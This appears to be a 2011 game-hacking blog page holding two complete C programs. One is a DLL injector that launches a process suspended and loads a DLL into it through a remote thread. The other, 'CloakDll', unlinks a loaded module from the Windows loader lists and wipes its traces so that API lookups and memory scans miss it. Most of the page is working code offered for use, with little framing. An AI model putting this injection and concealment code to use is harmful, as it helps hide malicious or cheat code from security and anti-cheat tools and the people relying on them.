Standard DLL Injector

On viernes, 28 de enero de 2011 0 comentarios

Description // Info




Source Code

  1. #define DEFAULT_DLL_NAME                \"gamereversal.dll\"
  2. #define WIN32_LEAN_AND_MEAN
  3. #include
  4.  
  5. // struct with data needed for remote thread.
  6. typedef struct i_data
  7. {
  8.         HINSTANCE       (__stdcall *LoadLibrary)( LPCTSTR lpLibFileName );      
  9.         VOID            (__stdcall *ExitThread)( DWORD dwExitCode );
  10.         VOID            (__stdcall *ExitProcess)( UINT uExitCode );
  11.         int                     (__stdcall *MessageBox)( HWND hWnd, LPCTSTR lpText,     LPCTSTR lpCaption, UINT uType  );
  12.         char            Error[128];
  13.         char            DllName[MAX_PATH];
  14. }i_data;
  15.  
  16.  
  17. __inline DWORD __stdcall InjectDll( i_data *i_data )
  18. {
  19.         if( !i_data->LoadLibrary( i_data->DllName ) )
  20.         {
  21.                 i_data->MessageBox( NULL, i_data->Error, i_data->Error, NULL );
  22.                 i_data->ExitProcess(0);
  23.         }
  24.         i_data->ExitThread(0);
  25.         return 0;
  26. }
  27. __inline void EndInjectDll( void ){ return; }
  28.  
  29.  
  30. int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow   )
  31. {
  32.         static PROCESS_INFORMATION      ProcessInformation;
  33.         static STARTUPINFO                      StartupInfo;
  34.         HANDLE                                          hProcess = 0;
  35.         HANDLE                                          hThread = 0;
  36.         i_data                                          idata;
  37.         LPVOID                                          ridata;
  38.         LPVOID                                          rInjectDll;
  39.         DWORD                                           tid;
  40.         char                                            szDll[MAX_PATH];
  41.  
  42.         if( !CreateProcess(    
  43.                                         NULL,
  44.                                         \"<>\",
  45.                                         NULL,
  46.                                         NULL,
  47.                                         NULL,
  48.                                         CREATE_SUSPENDED,
  49.                                         NULL,
  50.                                         NULL,
  51.                                         &StartupInfo,
  52.                                         &ProcessInformation ) )
  53.         {
  54.                 MessageBox( NULL, \"Can\'t kick start the application\", \"www.gamereversal.com\", NULL );
  55.                 return 0;
  56.         }
  57.  
  58.         hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, ProcessInformation.dwProcessId );
  59.  
  60.         GetCurrentDirectory( sizeof szDll, szDll );
  61.         wsprintf( szDll, \"%s%s\", szDll, DEFAULT_DLL_NAME );
  62.  
  63.         // fill structure with the needed data we gonna pass to remote thread.
  64.         lstrlen( lpCmdLine ) ? lstrcpy( idata.DllName, lpCmdLine ) : lstrcpy( idata.DllName, szDll );
  65.         lstrcpy( idata.Error, \"Can\'t find dll. You can specify the dll name as command line (with no quote marks and full path).\" );
  66.         idata.ExitThread = ExitThread;
  67.         idata.ExitProcess = ExitProcess;
  68.         idata.LoadLibrary = LoadLibraryA;
  69.         idata.MessageBox = MessageBoxA;
  70.  
  71.         // allocate memory on remote process for the thread and the structure.
  72.         ridata  = VirtualAllocEx( hProcess, NULL, sizeof idata, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
  73.         rInjectDll      = VirtualAllocEx( hProcess, NULL, (unsigned int)((unsigned int)EndInjectDll-(unsigned int)InjectDll), MEM_COMMIT, PAGE_EXECUTE_READWRITE );
  74.  
  75.         if( ridata && rInjectDll )
  76.         {
  77.                 // copy data to remote process.
  78.                 if( WriteProcessMemory( hProcess, ridata, &idata, sizeof idata, NULL ) &&
  79.                     WriteProcessMemory( hProcess, rInjectDll, InjectDll, (unsigned int)((unsigned int)EndInjectDll-(unsigned int)InjectDll), NULL ) )
  80.                 {
  81.                         // create thread on remote process.
  82.                         hThread = CreateRemoteThread( hProcess,
  83.                                                                                   NULL,
  84.                                                                                   0,
  85.                                                                                   (LPTHREAD_START_ROUTINE)rInjectDll,
  86.                                                                                   ridata,
  87.                                                                                   0,
  88.                                                                                   &tid );
  89.                 }
  90.                 if( hThread )
  91.                 {
  92.                         // wait for remote thread to finish.
  93.                         WaitForSingleObject( hThread, INFINITE );
  94.                         // resume main process thread.
  95.                         ResumeThread( ProcessInformation.hThread );
  96.                         CloseHandle( hThread );
  97.                 }
  98.                 // free memory allocated on remote process.
  99.                 VirtualFreeEx( hProcess, ridata, 0, MEM_RELEASE  );
  100.                 VirtualFreeEx( hProcess, rInjectDll, 0, MEM_RELEASE      );
  101.         }
  102.         CloseHandle( hProcess );
  103.         return 0;
  104. }
Read more ...»

Dll Cloaking - Hide a loaded Dll from Windows

On 0 comentarios

Description // Info




Source Code

  1. //   The purpose of CloakDll is to allow the user to hide any loaded
  2. //   module from the windows API.  It works by accessing the modules
  3. //   list stored in the PEB, and subsequently unlinking the module
  4. //   in question from all 4 of the doubly-linked lists that it\'s a
  5. //   node of.  It then zeroes out the structure and the path/file
  6. //   name of the module in memory.  So that even if the memory where
  7. //   the data about this module used to reside is scanned there will
  8. //   still be no conclusive evidence of it\'s existence.  At present
  9. //   there is only one weakness that I have found in this method.
  10. //   I\'ll describe how it may still be possible to discover at least
  11. //   that a module has been hidden, after a brief introduction to how
  12. //   the GetModuleHandle function works.
  13. //
  14. //   *The following information is not documented by Microsoft.  This
  15. //    information consists of my findings while reverse-engineering
  16. //    these functions and some of them may be incorrect and/or
  17. //    subject to change at any time(and is almost definitely different
  18. //    in different versions of windows, and maybe even in different
  19. //    service packs).  I\'ve tried to make my code as version independant
  20. //    as possible but certain parts of it may not work on older versions
  21. //    of windows.  I\'ve tested it on XP SP2 and there i\'ll guarantee
  22. //    that it works, but on any other versions of windows, it\'s anyone\'s
  23. //    guess.*
  24. //
  25. //   GetModuleHandle eventually calls GetModuleHandleExW, which in
  26. //   turn accesses the native API function GetDllHandle, which calls
  27. //   GetDllHandleEx.  And it\'s not until here, that we actually see
  28. //   anything even begin to look up information about loaded modules.
  29. //   Whenever GetModuleHandle is called, it saves the address of the
  30. //   last ModuleInfoNode structure that it found in a global variable
  31. //   inside of ntdll.  This global variable is the first thing
  32. //   checked on all subsequent calls to GetModuleHandle.  If the
  33. //   handle being requested is not the one that was requested the last
  34. //   time GetDllHandleEx calls the LdrpCheckForLoadedDll function.
  35. //   LdrpCheckForLoadedDll begins by converting the first letter of the
  36. //   module name being requested to uppercase, decrementing it by 1 and
  37. //   AND\'ing it with 0x1F.  This effectively creates a 0-based index
  38. //   beginning with the letter \'A\'.  The purpose of this is so that
  39. //   the module can first be looked up in a hash table.  The hash table
  40. //   consists entirely of LIST_ENTRY structures.  One for each letter
  41. //   \'A\' through \'Z\'.  The LIST_ENTRY structure points to the first
  42. //   and last modules loaded that begin with the letter assigned to
  43. //   that entry in the hash table.  The Flink member being the first
  44. //   loaded beginning with that letter, and the Blink member being the
  45. //   last.  The code scans through this list until it finds the module
  46. //   that it\'s looking for.  On the off-chance that it doesn\'t find it
  47. //   there, or if the boolean argument UseLdrpHashTable is set to false
  48. //   it will begin going through one of the other three lists.  If, at
  49. //   this point it still doesn\'t find it, it will admit defeat and return
  50. //   0 for the module handle.
  51. //
  52. //   Weakness:  The global variable inside ntdll that caches the pointer
  53. //   to the last module looked up could be used to at least detect the
  54. //   fact that a module has been hidden.  The LdrUnloadDll() function
  55. //   will set this value to 0 when it unloads a module, so if the cache
  56. //   variable points to an empty structure, the only logical conclusion
  57. //   would be a hidden module somewhere in the process.  This could be
  58. //   resolved by using the static address of this variable and simply
  59. //   zeroing it out.  However, this would make the code specific to only
  60. //   one version of windows.  You could also scan the address space of
  61. //   ntdll for any occurences of the base address(aka module handle)
  62. //   of the module you\'re hiding.  However, this would be slow and it
  63. //   would clutter up the CloakDll_stub function, because it\'d have to
  64. //   all be done manually.  And i\'d have to either use a static base
  65. //   address for ntdll...which would probably work on most versions
  66. //   of windows, however I really don\'t like using static addresses.
  67. //   Or i\'d have to manually locate it by writing my own unicode
  68. //   string comparison code, to lookup ntdll in the list by it\'s name.
  69. //   Realistically though anyone trying to detect this way would run
  70. //   into the same problem.  That their code would not be version
  71. //   independant.  So, it\'s unlikely to see any largescale deployment
  72. //   of such a technique.  However, anyone who would like to solve
  73. //   this problem themselves is perfectly free, and encouraged to do
  74. //   so.
  75.  
  76. #include
  77. #include
  78. #include
  79. #include
  80.  
  81.  
  82. #pragma comment(lib, \"shlwapi.lib\")
  83.  
  84. #define UPPERCASE(x) if((x) >= \'a\' && (x) <= \'z\') (x) -= \'a\' - \'A\' ;
  85. #define UNLINK(x) (x).Blink->Flink = (x).Flink;  (x).Flink->Blink = (x).Blink;
  86.    
  87. #pragma pack(push, 1)
  88.  
  89. typedef struct _UNICODE_STRING {
  90.   USHORT  Length;
  91.   USHORT  MaximumLength;
  92.   PWSTR  Buffer;
  93. } UNICODE_STRING, *PUNICODE_STRING;
  94.  
  95. typedef struct _ModuleInfoNode
  96. {
  97.    LIST_ENTRY LoadOrder;
  98.    LIST_ENTRY InitOrder;
  99.    LIST_ENTRY MemoryOrder;
  100.    HMODULE baseAddress;      //   Base address AKA module handle
  101.    unsigned long entryPoint;
  102.    unsigned int size;         //   Size of the modules image
  103.    UNICODE_STRING fullPath;
  104.    UNICODE_STRING name;
  105.    unsigned long flags;
  106.    unsigned short LoadCount;
  107.    unsigned short TlsIndex;
  108.    LIST_ENTRY HashTable;   //   A linked list of any other modules that have the same first letter
  109.    unsigned long timestamp;
  110. } ModuleInfoNode, *pModuleInfoNode;
  111.  
  112. typedef struct _ProcessModuleInfo
  113. {
  114.    unsigned int size;         //   Size of a ModuleInfo node?
  115.    unsigned int initialized;
  116.    HANDLE SsHandle;
  117.    LIST_ENTRY LoadOrder;
  118.    LIST_ENTRY InitOrder;
  119.    LIST_ENTRY MemoryOrder;
  120. } ProcessModuleInfo, *pProcessModuleInfo;
  121.  
  122.  
  123. #pragma pack(pop)
  124.  
  125. bool CloakDll_stub(HMODULE);
  126. void CD_stubend();
  127.  
  128. bool CloakDll(char *, char *);
  129. unsigned long GetProcessIdFromProcname(char *);
  130. HMODULE GetRemoteModuleHandle(unsigned long, char *);
  131.  
  132.  
  133. int main(int argc, char **argv)
  134. {
  135.    CloakDll(\"notepad.exe\", \"kernel32.dll\");
  136.    return 0;
  137. }
  138.  
  139. bool CloakDll(char *process, char *dllName)
  140. {
  141.    PathStripPath(dllName);
  142.  
  143.    unsigned long procId;
  144.    procId = GetProcessIdFromProcname(process);
  145.    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procId);
  146.  
  147.    //   Calculate the length of the stub by subtracting it\'s address
  148.    //   from the beginning of the function directly ahead of it.
  149.    //
  150.    //   NOTE: If the compiler compiles the functions in a different
  151.    //   order than they appear in the code, this will not work as
  152.    //   it\'s supposed to.  However, most compilers won\'t do that.
  153.    unsigned int stubLen = (unsigned long)CD_stubend - (unsigned long)CloakDll_stub;
  154.  
  155.    //   Allocate space for the CloakDll_stub function
  156.    void *stubAddress = VirtualAllocEx(hProcess,
  157.       NULL,
  158.       stubLen,
  159.       MEM_RESERVE | MEM_COMMIT,
  160.       PAGE_EXECUTE_READWRITE);
  161.  
  162.    //   Write the stub\'s code to the page we allocated for it
  163.    WriteProcessMemory(hProcess, stubAddress, CloakDll_stub, stubLen, NULL);
  164.  
  165.    HMODULE hMod = GetRemoteModuleHandle(procId, dllName);
  166.  
  167.    //   Create a thread in the remote process to execute our code
  168.    CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)stubAddress, hMod, 0, NULL);
  169.  
  170.    //   Clean up after ourselves, so as to leave as little impact as possible
  171.    //   on the remote process
  172.    VirtualFreeEx(hProcess, stubAddress, stubLen, MEM_RELEASE);
  173.    return true;
  174. }
  175.  
  176. bool CloakDll_stub(HMODULE hMod)
  177. {
  178.    ProcessModuleInfo *pmInfo;
  179.    ModuleInfoNode *module;
  180.  
  181.    _asm
  182.    {
  183.       mov eax, fs:[18h]      // TEB
  184.       mov eax, [eax + 30h]   // PEB
  185.       mov eax, [eax + 0Ch]   // PROCESS_MODULE_INFO
  186.       mov pmInfo, eax
  187.    }
  188.  
  189.     module = (ModuleInfoNode *)(pmInfo->LoadOrder.Flink);
  190.    
  191.    while(module->baseAddress && module->baseAddress != hMod)
  192.       module = (ModuleInfoNode *)(module->LoadOrder.Flink);
  193.  
  194.    if(!module->baseAddress)
  195.       return false;
  196.  
  197.    //   Remove the module entry from the list here
  198.    ///////////////////////////////////////////////////    
  199.    //   Unlink from the load order list
  200.    UNLINK(module->LoadOrder);
  201.    //   Unlink from the init order list
  202.    UNLINK(module->InitOrder);
  203.    //   Unlink from the memory order list
  204.    UNLINK(module->MemoryOrder);
  205.    //   Unlink from the hash table
  206.    UNLINK(module->HashTable);
  207.  
  208.    //   Erase all traces that it was ever there
  209.    ///////////////////////////////////////////////////
  210.  
  211.    //   This code will pretty much always be optimized into a rep stosb/stosd pair
  212.    //   so it shouldn\'t cause problems for relocation.
  213.    //   Zero out the module name
  214.    memset(module->fullPath.Buffer, 0, module->fullPath.Length);
  215.    //   Zero out the memory of this module\'s node
  216.    memset(module, 0, sizeof(ModuleInfoNode));    
  217.  
  218.    return true;
  219. }
  220.  
  221. __declspec(naked) void CD_stubend() { }
  222.  
  223. unsigned long GetProcessIdFromProcname(char *procName)
  224. {
  225.    PROCESSENTRY32 pe;
  226.    HANDLE thSnapshot;
  227.    BOOL retval, ProcFound = false;
  228.  
  229.    thSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  230.  
  231.    if(thSnapshot == INVALID_HANDLE_VALUE)
  232.    {
  233.       MessageBox(NULL, \"Error: unable to create toolhelp snapshot\", \"Loader\", NULL);
  234.       return false;
  235.    }
  236.  
  237.    pe.dwSize = sizeof(PROCESSENTRY32);
  238.  
  239.     retval = Process32First(thSnapshot, &pe);
  240.  
  241.    while(retval)
  242.    {
  243.       if(StrStrI(pe.szExeFile, procName) )
  244.       {
  245.          ProcFound = true;
  246.          break;
  247.       }
  248.  
  249.       retval    = Process32Next(thSnapshot,&pe);
  250.       pe.dwSize = sizeof(PROCESSENTRY32);
  251.    }
  252.  
  253.    return pe.th32ProcessID;
  254. }
  255.  
  256. HMODULE GetRemoteModuleHandle(unsigned long pId, char *module)
  257. {
  258.    MODULEENTRY32 modEntry;
  259.    HANDLE tlh = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pId);
  260.  
  261.    modEntry.dwSize = sizeof(MODULEENTRY32);
  262.     Module32First(tlh, &modEntry);
  263.  
  264.    do
  265.    {
  266.       if(!stricmp(modEntry.szModule, module))
  267.          return modEntry.hModule;
  268.       modEntry.dwSize = sizeof(MODULEENTRY32);
  269.    }
  270.    while(Module32Next(tlh, &modEntry));
  271.  
  272.    return NULL;
  273. }
Read more ...»